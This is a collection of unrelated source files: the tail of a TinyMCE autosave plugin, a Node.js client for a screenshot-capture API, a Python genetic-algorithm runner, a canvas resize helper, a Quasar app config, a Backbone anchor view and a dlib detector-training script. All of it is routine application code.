the specified time string into a milisecond number 10m, 10s etc. function parseTime(time) { var multipels = { s : 1000, m : 60000 }; time = /^(\d+)([ms]?)$/.exec('' + time); return (time[2] ? multipels[time[2]] : 1) * parseInt(time); }; // Default config tinymce.each({ ask_before_unload : TRUE, interval : '30s', retention : '20m', minlength : 50 }, function(value, key) { key = PLUGIN_NAME + '_' + key; if (settings[key] === undefined) settings[key] = value; }); // Parse times settings.autosave_interval = parseTime(settings.autosave_interval); settings.autosave_retention = parseTime(settings.autosave_retention); // Register restore button ed.addButton(RESTORE_DRAFT, { title : PLUGIN_NAME + ".restore_content", onclick : function() { if (ed.getContent({draft: true}).replace(/\s|&nbsp;|<\/?p[^>]*>|<br[^>]*>/gi, "").length > 0) { // Show confirm dialog if the editor isn't empty ed.windowManager.confirm( PLUGIN_NAME + ".warning_message", function(ok) { if (ok) self.restoreDraft(); } ); } else self.restoreDraft(); } }); // Enable/disable restoredraft button depending on if there is a draft stored or not ed.onNodeChange.add(function() { var controlManager = ed.controlManager; if (controlManager.get(RESTORE_DRAFT)) controlManager.setDisabled(RESTORE_DRAFT, !self.hasDraft()); }); ed.onInit.add(function() { // Check if the user added the restore button, then setup auto storage logic if (ed.controlManager.get(RESTORE_DRAFT)) { // Setup storage engine self.setupStorage(ed); // Auto save contents each interval time setInterval(function() { self.storeDraft(); ed.nodeChanged(); }, settings.autosave_interval); } }); /** * This event gets fired when a draft is stored to local storage. * * @event onStoreDraft * @param {tinymce.plugins.AutoSave} sender Plugin instance sending the event. * @param {Object} draft Draft object containing the HTML contents of the editor. */ self.onStoreDraft = new Dispatcher(self); /** * This event gets fired when a draft is restored from local storage. * * @event onStoreDraft * @param {tinymce.plugins.AutoSave} sender Plugin instance sending the event. * @param {Object} draft Draft object containing the HTML contents of the editor. */ self.onRestoreDraft = new Dispatcher(self); /** * This event gets fired when a draft removed/expired. * * @event onRemoveDraft * @param {tinymce.plugins.AutoSave} sender Plugin instance sending the event. * @param {Object} draft Draft object containing the HTML contents of the editor. */ self.onRemoveDraft = new Dispatcher(self); // Add ask before unload dialog only add one unload handler if (!unloadHandlerAdded) { window.onbeforeunload = tinymce.plugins.AutoSave._beforeUnloadHandler; unloadHandlerAdded = TRUE; } }, /** * Returns information about the plugin as a name/value array. * The current keys are longname, author, authorurl, infourl and version. * * @method getInfo * @return {Object} Name/value array containing information about the plugin. */ getInfo : function() { return { longname : 'Auto save', author : 'Moxiecode Systems AB', authorurl : 'http://tinymce.moxiecode.com', infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/autosave', version : tinymce.majorVersion + "." + tinymce.minorVersion }; }, /** * Returns an expiration date UTC string. * * @method getExpDate * @return {String} Expiration date UTC string. */ getExpDate : function() { return new Date( new Date().getTime() + this.editor.settings.autosave_retention ).toUTCString(); }, /** * This method will setup the storage engine. If the browser has support for it. * * @method setupStorage */ setupStorage : function(ed) { var self = this, testKey = PLUGIN_NAME + '_test', testVal = "OK"; self.key = PLUGIN_NAME + ed.id; // Loop though each storage engine type until we find one that works tinymce.each([ function() { // Try HTML5 Local Storage if (localStorage) { localStorage.setItem(testKey, testVal); if (localStorage.getItem(testKey) === testVal) { localStorage.removeItem(testKey); return localStorage; } } }, function() { // Try HTML5 Session Storage if (sessionStorage) { sessionStorage.setItem(testKey, testVal); if (sessionStorage.getItem(testKey) === testVal) { sessionStorage.removeItem(testKey); return sessionStorage; } } }, function() { // Try IE userData if (tinymce.isIE) { ed.getElement().style.behavior = "url('#default#userData')"; // Fake localStorage on old IE return { autoExpires : TRUE, setItem : function(key, value) { var userDataElement = ed.getElement(); userDataElement.setAttribute(key, value); userDataElement.expires = self.getExpDate(); userDataElement.save("TinyMCE"); }, getItem : function(key) { var userDataElement = ed.getElement(); userDataElement.load("TinyMCE"); return userDataElement.getAttribute(key); }, removeItem : function(key) { ed.getElement().removeAttribute(key); } }; } } ], function(setup) { // Try executing each function to find a suitable storage engine try { self.storage = setup(); if (self.storage) return false; } catch (e) { // Ignore } }); }, /** * This method will store the current contents in the the storage engine. * * @method storeDraft */ storeDraft : function() { var self = this, storage = self.storage, editor = self.editor, expires, content; // Is the contents dirty if (storage) { // If there is no existing key and the contents hasn't been changed since // it's original value then there is no point in saving a draft if (!storage.getItem(self.key) && !editor.isDirty()) return; // Store contents if the contents if longer than the minlength of characters content = editor.getContent({draft: true}); if (content.length > editor.settings.autosave_minlength) { expires = self.getExpDate(); // Store expiration date if needed IE userData has auto expire built in if (!self.storage.autoExpires) self.storage.setItem(self.key + "_expires", expires); self.storage.setItem(self.key, content); self.onStoreDraft.dispatch(self, { expires : expires, content : content }); } } }, /** * This method will restore the contents from the storage engine back to the editor. * * @method restoreDraft */ restoreDraft : function() { var self = this, storage = self.storage; if (storage) { content = storage.getItem(self.key); if (content) { self.editor.setContent(content); self.onRestoreDraft.dispatch(self, { content : content }); } } }, /** * This method will return true/false if there is a local storage draft available. * * @method hasDraft * @return {boolean} true/false state if there is a local draft. */ hasDraft : function() { var self = this, storage = self.storage, expDate, exists; if (storage) { // Does the item exist at all exists = !!storage.getItem(self.key); if (exists) { // Storage needs autoexpire if (!self.storage.autoExpires) { expDate = new Date(storage.getItem(self.key + "_expires")); // Contents hasn't expired if (new Date().getTime() < expDate.getTime()) return TRUE; // Remove it if it has self.removeDraft(); } else return TRUE; } } return false; }, /** * Removes the currently stored draft. * * @method removeDraft */ removeDraft : function() { var self = this, storage = self.storage, key = self.key, content; if (storage) { // Get current contents and remove the existing draft content = storage.getItem(key); storage.removeItem(key); storage.removeItem(key + "_expires"); // Dispatch remove event if we had any contents if (content) { self.onRemoveDraft.dispatch(self, { content : content }); } } }, "static" : { // Internal unload handler will be called before the page is unloaded _beforeUnloadHandler : function(e) { var msg; tinymce.each(tinyMCE.editors, function(ed) { // Store a draft for each editor instance if (ed.plugins.autosave) ed.plugins.autosave.storeDraft(); // Never ask in fullscreen mode if (ed.getParam("fullscreen_is_enabled")) return; // Setup a return message if the editor is dirty if (!msg && ed.isDirty() && ed.getParam("autosave_ask_before_unload")) msg = ed.getLang("autosave.unload_msg"); }); return msg; } } }); tinymce.PluginManager.add('autosave', tinymce.plugins.AutoSave); })(tinymce);
const request = require('request'); const Path = require('path'); const sleep = require('sleep-async')(); const retryDelaySecs = 5; module.exports = { getScreenshot, getScreenshotReturningTemporaryUrl, captureScreenshot, retrieveScreenshot, setDebugOutputMode }; var showDebugOutput = false; function setDebugOutputMode(showOutput) { showDebugOutput = showOutput; } function getScreenshot(apikey, captureRequest, saveToPath) { return new Promise( (resolve, reject) => { captureScreenshot(apikey, captureRequest) .then( (captureRequestKey) => { return retrieveScreenshot(apikey, captureRequestKey, saveToPath) }) .then( (localFile) => resolve(localFile) ) .catch( (err) => reject(err) ); }); } function getScreenshotReturningTemporaryUrl(apikey, captureRequest) { return new Promise( (resolve, reject) => { captureScreenshot(apikey, captureRequest) .then( (captureRequestKey) => { return retrieveScreenshotTemporaryUrl(apikey, captureRequestKey) }) .then( (url) => resolve(url) ) .catch( (err) => reject(err) ); }); } function captureScreenshot(apikey, captureRequest) { return new Promise( (resolve, reject) => { var post_options = { uri: 'https://api.screenshotapi.io/capture', port: '443', method: 'POST', headers: { 'apikey': apikey }, body: JSON.stringify(captureRequest) }; if (showDebugOutput) { console.log(`Requesting capture for ${captureRequest.url}`); } request(post_options, (error, response, body) => { if (error) { reject(error); } else { if (response.statusCode === 401) { reject('Bad API key'); } else if (response.statusCode >= 400) { reject(`Error requesting capture: ${body}`); } else { var json_results = JSON.parse(body); if (showDebugOutput) { console.log('Accepted request with key: ' + json_results.key); } resolve(json_results.key); } } }); }); } function retrieveScreenshotTemporaryUrl(apikey, key) { return new Promise( (resolve, reject) => { if (showDebugOutput) { console.log(`Trying to retrieve: ${key}`); } const retrieve_url = 'https://api.screenshotapi.io/retrieve?key=' + key; const options = { headers: { 'apikey': apikey } }; request.get(retrieve_url,options, (error,response,body) => { if (error) { reject(error); } else { let json_results = JSON.parse(body); //console.log(json_results); if (json_results.status === 'ready') { resolve(json_results.imageUrl); } else if (json_results.status === 'error') { reject(new Error(json_results.msg)); } else { if (showDebugOutput) { console.log(`Screenshot not yet ready.. waiting for ${retryDelaySecs} seconds.`); } sleep.sleep( retryDelaySecs * 1000, () => { retrieveScreenshotTemporaryUrl(apikey, key) .then( (url) => resolve(url) ) .catch( (err) => reject(err) ); }); } } }); }); } function retrieveScreenshot(apikey, key, saveToPath) { return new Promise( (resolve, reject) => { retrieveScreenshotTemporaryUrl(apikey, key) .then( url => { let localFile = Path.join(saveToPath, `${key}.png`); return download(url, localFile); }) .then( (localFile) => { if (showDebugOutput) { console.log(`Saved screenshot to ${localFile}`) } resolve(localFile); }) .catch( (err) => { if (showDebugOutput) { console.error(err, 'Error saving screenshot'); } reject(err); }) }); } function download(imageUrl, localFile) { return new Promise( (resolve, reject) => { try { if (showDebugOutput) { console.log(`Downloading ${imageUrl}`); } const fs = require('fs'); let imageStream = request(imageUrl); let writeStream = fs.createWriteStream(localFile); imageStream.pipe(writeStream); writeStream.on('finish', () => { resolve(localFile); }); writeStream.on('error', (err) => { reject(new Error('Error writing stream:' + err)); }); } catch (err) { reject(err); } }); }
from fitnessCalc import FitnessCalc from population import Population from algorithm import Algorithm from time import time start = time() FitnessCalc.set_solution("1111000000000000000000000000000000000000000000000000000000001111") my_pop = Population(50, True) generation_count = 0 while my_pop.fitness_of_the_fittest() != FitnessCalc.get_max_fitness(): generation_count += 1 print("Generation : %s\nFittest : %s " % (generation_count, my_pop.fitness_of_the_fittest())) my_pop = Algorithm.evolve_population(my_pop) print("******************************************************") genes_the_fittest = [] for i in range(len(FitnessCalc.Solution)): genes_the_fittest.append(my_pop.get_fittest().genes[i]) print("Solution found !\nGeneration : %s\nFittest : %s " % (generation_count + 1, my_pop.fitness_of_the_fittest())) print("Genes of the Fittest : %s " % (genes_the_fittest)) finish = time() print ("Time elapsed : %s " % (finish - start))
module.exports = function (canvas) { // makeCanvasAutoFullwindow // Canvas is resized when window size changes, e.g. // when a mobile device is tilted. // // Parameter // canvas // HTML Canvas element // var resizeCanvas = function () { canvas.width = window.innerWidth canvas.height = window.innerHeight } // resize the canvas to fill browser window dynamically window.addEventListener('resize', resizeCanvas, false) // Initially resized to fullscreen. resizeCanvas() }
// Configuration for your app module.exports = function (ctx) { return { // app plugins (/src/plugins) plugins: [ ], css: [ 'app.styl' ], extras: [ ctx.theme.mat ? 'roboto-font' : null, 'material-icons' // optional, you are not bound to it // 'ionicons', // 'mdi', // 'fontawesome' ], supportIE: false, build: { scopeHoisting: true, // vueRouterMode: 'history', // vueCompiler: true, // gzip: true, // analyze: true, // extractCSS: false, extendWebpack (cfg) { cfg.module.rules.push({ enforce: 'pre', test: /\.(js|vue)$/, loader: 'eslint-loader', exclude: /node_modules/ }) } }, devServer: { // https: true, // port: 8080, open: true // opens browser window automatically }, // framework: 'all' --- includes everything; for dev only! framework: { components: [ 'QLayout', 'QLayoutHeader', 'QLayoutDrawer', 'QPageContainer', 'QPage', 'QToolbar', 'QToolbarTitle', 'QBtn', 'QIcon', 'QList', 'QListHeader', 'QItem', 'QItemMain', 'QItemSide', 'QFab', 'QFabAction', 'QInput', ], directives: [ 'Ripple' ], // Quasar plugins plugins: [ 'Notify' ] // iconSet: ctx.theme.mat ? 'material-icons' : 'ionicons' // i18n: 'de' // Quasar language }, // animations: 'all' --- includes all animations animations: 'all', ssr: { pwa: false }, pwa: { // workboxPluginMode: 'InjectManifest', // workboxOptions: {}, manifest: { // name: 'Quasar App', // short_name: 'Quasar-PWA', // description: 'Best PWA App in town!', display: 'standalone', orientation: 'portrait', background_color: '#ffffff', theme_color: '#027be3', icons: [ { 'src': 'statics/icons/icon-128x128.png', 'sizes': '128x128', 'type': 'image/png' }, { 'src': 'statics/icons/icon-192x192.png', 'sizes': '192x192', 'type': 'image/png' }, { 'src': 'statics/icons/icon-256x256.png', 'sizes': '256x256', 'type': 'image/png' }, { 'src': 'statics/icons/icon-384x384.png', 'sizes': '384x384', 'type': 'image/png' }, { 'src': 'statics/icons/icon-512x512.png', 'sizes': '512x512', 'type': 'image/png' } ] } }, cordova: { // id: 'org.cordova.quasar.app' }, electron: { // bundler: 'builder', // or 'packager' extendWebpack (cfg) { // do something with Electron process Webpack cfg }, packager: { // https://github.com/electron-userland/electron-packager/blob/master/docs/api.md#options // OS X / Mac App Store // appBundleId: '', // appCategoryType: '', // osxSign: '', // protocol: 'myapp://path', // Window only // win32metadata: { ... } }, builder: { // https://www.electron.build/configuration/configuration // appId: 'quasar-app' } } } }
define([ "underscore", "mockup-ui-url/views/base", "mockup-patterns-tooltip", ], function (_, BaseView, Tooltip) { "use strict"; var AnchorView = BaseView.extend({ tagName: "a", className: "alink", eventPrefix: "button", context: "default", idPrefix: "alink-", shortcut: "", attributes: { href: "#", }, extraClasses: [], tooltip: null, template: '<% if (icon) { %><span class="glyphicon glyphicon-<%= icon %>"></span><% } %> <%= title %> <span class="shortcut"><%= shortcut %></span>', events: { click: "handleClick", }, initialize: function (options) { if (!options.id) { var title = options.title || ""; options.id = title !== "" ? title.toLowerCase().replace(" ", "-") : this.cid; // prettier-ignore } BaseView.prototype.initialize.apply(this, [options]); this.on( "render", function () { this.$el.attr( "title", this.options.tooltip || this.options.title || "" ); this.$el.attr( "aria-label", this.options.title || this.options.tooltip || "" ); _.each( this.extraClasses, function (klass) { this.$el.addClass(klass); }.bind(this) ); }, this ); }, handleClick: function (e) { e.preventDefault(); if (!this.$el.is(".disabled")) { this.uiEventTrigger("click", this, e); } }, serializedModel: function () { return _.extend( { icon: "", title: "", shortcut: "" }, this.options ); }, disable: function () { this.$el.addClass("disabled"); }, enable: function () { this.$el.removeClass("disabled"); }, }); return AnchorView; });
import dlib options = dlib.simple_object_detector_training_options() options.C = 1.0 options.num_threads = 8 options.be_verbose = True dlib.train_simple_object_detector('/home/shammyz/repos/dlib-pupil/annotations.xml', '/home/shammyz/repos/dlib-pupil/detector.svm', options) print("[INFO] training accuracy: {}".format( dlib.test_simple_object_detector('/home/shammyz/repos/dlib-pupil/annotations.xml', '/home/shammyz/repos/dlib-pupil/detector.svm')))